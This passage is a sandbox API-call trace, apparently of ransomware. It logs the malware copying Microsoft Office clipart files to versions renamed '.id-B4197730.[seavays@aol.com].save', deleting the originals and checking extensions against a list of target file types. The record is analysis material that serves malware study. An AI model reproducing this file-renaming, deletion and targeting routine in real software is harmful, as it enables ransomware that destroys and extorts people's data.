SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.737] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.737] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105412.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0210.738] GetLastError () returned 0x0 [0210.738] ReadFile (in: hFile=0x394, lpBuffer=0x35d3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fecc, lpOverlapped=0x0 | out: lpBuffer=0x35d3020*, lpNumberOfBytesRead=0x2f2fecc*=0x24b8, lpOverlapped=0x0) returned 1 [0210.739] WriteFile (in: hFile=0x370, lpBuffer=0x35d3020*, nNumberOfBytesToWrite=0x24c0, lpNumberOfBytesWritten=0x2f2fc94, lpOverlapped=0x0 | out: lpBuffer=0x35d3020*, lpNumberOfBytesWritten=0x2f2fc94*=0x24c0, lpOverlapped=0x0) returned 1 [0210.740] ReadFile (in: hFile=0x394, lpBuffer=0x35d3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fecc, lpOverlapped=0x0 | out: lpBuffer=0x35d3020*, lpNumberOfBytesRead=0x2f2fecc*=0x0, lpOverlapped=0x0) returned 1 [0210.740] WriteFile (in: hFile=0x370, lpBuffer=0x35d3020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f2fc94, lpOverlapped=0x0 | out: lpBuffer=0x35d3020*, lpNumberOfBytesWritten=0x2f2fc94*=0xec, lpOverlapped=0x0) returned 1 [0210.741] SetEndOfFile (hFile=0x370) returned 1 [0210.741] CloseHandle (hObject=0x370) returned 1 [0210.741] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.741] SetEndOfFile (hFile=0x394) returned 1 [0210.742] CloseHandle (hObject=0x394) returned 1 [0210.742] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0210.743] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105412.wmf")) returned 1 [0210.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0210.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0210.744] lstrlenW (lpString=".doc") returned 4 [0210.744] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0210.744] lstrlenW (lpString=".docx") returned 5 [0210.744] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0210.744] lstrlenW (lpString=".pdf") returned 4 [0210.744] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0210.744] lstrlenW (lpString=".xls") returned 4 [0210.744] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0210.744] lstrlenW (lpString=".xlsx") returned 5 [0210.744] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0210.744] lstrlenW (lpString=".ppt") returned 4 [0210.744] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0210.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0210.744] lstrlenW (lpString=".zip") returned 4 [0210.744] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0210.744] lstrlenW (lpString=".rar") returned 4 [0210.744] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0210.744] lstrlenW (lpString=".bz2") returned 4 [0210.745] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0210.745] lstrlenW (lpString=".7z") returned 3 [0210.745] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0210.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0210.745] lstrlenW (lpString=".dbf") returned 4 [0210.745] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0210.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0210.745] lstrlenW (lpString=".1cd") returned 4 [0210.745] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0210.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0210.745] lstrlenW (lpString=".jpg") returned 4 [0210.745] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0210.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0210.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0210.745] lstrlenW (lpString=".doc") returned 4 [0210.745] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0210.745] lstrlenW (lpString=".docx") returned 5 [0210.745] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0210.746] lstrlenW (lpString=".pdf") returned 4 [0210.746] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0210.746] lstrlenW (lpString=".xls") returned 4 [0210.746] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0210.746] lstrlenW (lpString=".xlsx") returned 5 [0210.746] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0210.746] lstrlenW (lpString=".ppt") returned 4 [0210.746] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0210.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0210.746] lstrlenW (lpString=".zip") returned 4 [0210.746] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0210.746] lstrlenW (lpString=".rar") returned 4 [0210.746] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0210.746] lstrlenW (lpString=".bz2") returned 4 [0210.746] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0210.746] lstrlenW (lpString=".7z") returned 3 [0210.746] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0210.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0210.746] lstrlenW (lpString=".dbf") returned 4 [0210.746] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0210.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0210.746] lstrlenW (lpString=".1cd") returned 4 [0210.746] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0210.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0210.747] lstrlenW (lpString=".jpg") returned 4 [0210.747] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0210.747] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0210.747] lstrlenW (lpString="J0105414.WMF") returned 12 [0210.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105414.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0210.747] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2f2ff14 | out: lpFileSize=0x2f2ff14*=6244) returned 1 [0210.747] CloseHandle (hObject=0x394) returned 1 [0210.748] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105414.wmf")) returned 0x220 [0210.748] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105414.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0210.748] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105414.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0210.748] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.748] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.748] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105414.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0210.749] GetLastError () returned 0x0 [0210.749] ReadFile (in: hFile=0x394, lpBuffer=0x35d3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fecc, lpOverlapped=0x0 | out: lpBuffer=0x35d3020*, lpNumberOfBytesRead=0x2f2fecc*=0x1864, lpOverlapped=0x0) returned 1 [0210.751] WriteFile (in: hFile=0x370, lpBuffer=0x35d3020*, nNumberOfBytesToWrite=0x1870, lpNumberOfBytesWritten=0x2f2fc94, lpOverlapped=0x0 | out: lpBuffer=0x35d3020*, lpNumberOfBytesWritten=0x2f2fc94*=0x1870, lpOverlapped=0x0) returned 1 [0210.752] ReadFile (in: hFile=0x394, lpBuffer=0x35d3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fecc, lpOverlapped=0x0 | out: lpBuffer=0x35d3020*, lpNumberOfBytesRead=0x2f2fecc*=0x0, lpOverlapped=0x0) returned 1 [0210.752] WriteFile (in: hFile=0x370, lpBuffer=0x35d3020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f2fc94, lpOverlapped=0x0 | out: lpBuffer=0x35d3020*, lpNumberOfBytesWritten=0x2f2fc94*=0xec, lpOverlapped=0x0) returned 1 [0210.752] SetEndOfFile (hFile=0x370) returned 1 [0210.752] CloseHandle (hObject=0x370) returned 1 [0210.752] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.752] SetEndOfFile (hFile=0x394) returned 1 [0210.754] CloseHandle (hObject=0x394) returned 1 [0210.754] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0210.754] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105414.wmf")) returned 1 [0210.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0210.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0210.755] lstrlenW (lpString=".doc") returned 4 [0210.755] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0210.755] lstrlenW (lpString=".docx") returned 5 [0210.755] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0210.755] lstrlenW (lpString=".pdf") returned 4 [0210.755] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0210.755] lstrlenW (lpString=".xls") returned 4 [0210.755] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0210.755] lstrlenW (lpString=".xlsx") returned 5 [0210.755] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0210.755] lstrlenW (lpString=".ppt") returned 4 [0210.755] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0210.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0210.755] lstrlenW (lpString=".zip") returned 4 [0210.755] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0210.755] lstrlenW (lpString=".rar") returned 4 [0210.755] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0210.755] lstrlenW (lpString=".bz2") returned 4 [0210.755] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0210.756] lstrlenW (lpString=".7z") returned 3 [0210.756] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0210.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0210.756] lstrlenW (lpString=".dbf") returned 4 [0210.756] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0210.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0210.756] lstrlenW (lpString=".1cd") returned 4 [0210.756] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0210.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0210.756] lstrlenW (lpString=".jpg") returned 4 [0210.756] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0210.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0210.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0210.756] lstrlenW (lpString=".doc") returned 4 [0210.756] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0210.756] lstrlenW (lpString=".docx") returned 5 [0210.756] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0210.756] lstrlenW (lpString=".pdf") returned 4 [0210.756] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0210.756] lstrlenW (lpString=".xls") returned 4 [0210.756] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0210.756] lstrlenW (lpString=".xlsx") returned 5 [0210.756] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0210.756] lstrlenW (lpString=".ppt") returned 4 [0210.756] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0210.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0210.756] lstrlenW (lpString=".zip") returned 4 [0210.756] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0210.756] lstrlenW (lpString=".rar") returned 4 [0210.756] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0210.757] lstrlenW (lpString=".bz2") returned 4 [0210.757] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0210.757] lstrlenW (lpString=".7z") returned 3 [0210.757] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0210.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0210.757] lstrlenW (lpString=".dbf") returned 4 [0210.757] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0210.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0210.757] lstrlenW (lpString=".1cd") returned 4 [0210.757] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0210.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0210.757] lstrlenW (lpString=".jpg") returned 4 [0210.757] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0210.757] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0210.757] lstrlenW (lpString="J0105490.WMF") returned 12 [0210.757] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105490.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0210.758] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2f2ff14 | out: lpFileSize=0x2f2ff14*=18728) returned 1 [0210.758] CloseHandle (hObject=0x394) returned 1 [0210.758] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105490.wmf")) returned 0x220 [0210.758] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105490.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0210.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105490.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0210.758] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.758] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105490.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0210.759] GetLastError () returned 0x0 [0210.759] ReadFile (in: hFile=0x394, lpBuffer=0x35d3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fecc, lpOverlapped=0x0 | out: lpBuffer=0x35d3020*, lpNumberOfBytesRead=0x2f2fecc*=0x4928, lpOverlapped=0x0) returned 1 [0210.760] WriteFile (in: hFile=0x370, lpBuffer=0x35d3020*, nNumberOfBytesToWrite=0x4930, lpNumberOfBytesWritten=0x2f2fc94, lpOverlapped=0x0 | out: lpBuffer=0x35d3020*, lpNumberOfBytesWritten=0x2f2fc94*=0x4930, lpOverlapped=0x0) returned 1 [0210.762] ReadFile (in: hFile=0x394, lpBuffer=0x35d3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fecc, lpOverlapped=0x0 | out: lpBuffer=0x35d3020*, lpNumberOfBytesRead=0x2f2fecc*=0x0, lpOverlapped=0x0) returned 1 [0210.762] WriteFile (in: hFile=0x370, lpBuffer=0x35d3020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f2fc94, lpOverlapped=0x0 | out: lpBuffer=0x35d3020*, lpNumberOfBytesWritten=0x2f2fc94*=0xec, lpOverlapped=0x0) returned 1 [0210.762] SetEndOfFile (hFile=0x370) returned 1 [0210.762] CloseHandle (hObject=0x370) returned 1 [0210.762] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.762] SetEndOfFile (hFile=0x394) returned 1 [0210.763] CloseHandle (hObject=0x394) returned 1 [0210.763] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0210.763] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105490.wmf")) returned 1 [0210.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0210.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0210.764] lstrlenW (lpString=".doc") returned 4 [0210.764] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0210.764] lstrlenW (lpString=".docx") returned 5 [0210.764] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0210.764] lstrlenW (lpString=".pdf") returned 4 [0210.764] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0210.764] lstrlenW (lpString=".xls") returned 4 [0210.764] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0210.764] lstrlenW (lpString=".xlsx") returned 5 [0210.764] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0210.764] lstrlenW (lpString=".ppt") returned 4 [0210.764] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0210.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0210.764] lstrlenW (lpString=".zip") returned 4 [0210.764] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0210.764] lstrlenW (lpString=".rar") returned 4 [0210.765] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0210.765] lstrlenW (lpString=".bz2") returned 4 [0210.765] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0210.765] lstrlenW (lpString=".7z") returned 3 [0210.765] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0210.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0210.765] lstrlenW (lpString=".dbf") returned 4 [0210.765] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0210.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0210.765] lstrlenW (lpString=".1cd") returned 4 [0210.765] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0210.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0210.765] lstrlenW (lpString=".jpg") returned 4 [0210.765] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0210.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0210.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0210.765] lstrlenW (lpString=".doc") returned 4 [0210.765] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0210.765] lstrlenW (lpString=".docx") returned 5 [0210.765] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0210.765] lstrlenW (lpString=".pdf") returned 4 [0210.765] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0210.765] lstrlenW (lpString=".xls") returned 4 [0210.765] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0210.765] lstrlenW (lpString=".xlsx") returned 5 [0210.765] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0210.765] lstrlenW (lpString=".ppt") returned 4 [0210.765] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0210.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0210.765] lstrlenW (lpString=".zip") returned 4 [0210.766] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0210.766] lstrlenW (lpString=".rar") returned 4 [0210.766] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0210.766] lstrlenW (lpString=".bz2") returned 4 [0210.766] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0210.766] lstrlenW (lpString=".7z") returned 3 [0210.766] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0210.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0210.766] lstrlenW (lpString=".dbf") returned 4 [0210.766] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0210.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0210.766] lstrlenW (lpString=".1cd") returned 4 [0210.766] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0210.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0210.766] lstrlenW (lpString=".jpg") returned 4 [0210.766] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0210.766] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0210.766] lstrlenW (lpString="J0105496.WMF") returned 12 [0210.766] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105496.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0210.767] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2f2ff14 | out: lpFileSize=0x2f2ff14*=5156) returned 1 [0210.767] CloseHandle (hObject=0x394) returned 1 [0210.767] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105496.wmf")) returned 0x220 [0210.767] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105496.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0210.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105496.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0210.767] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.767] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105496.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, 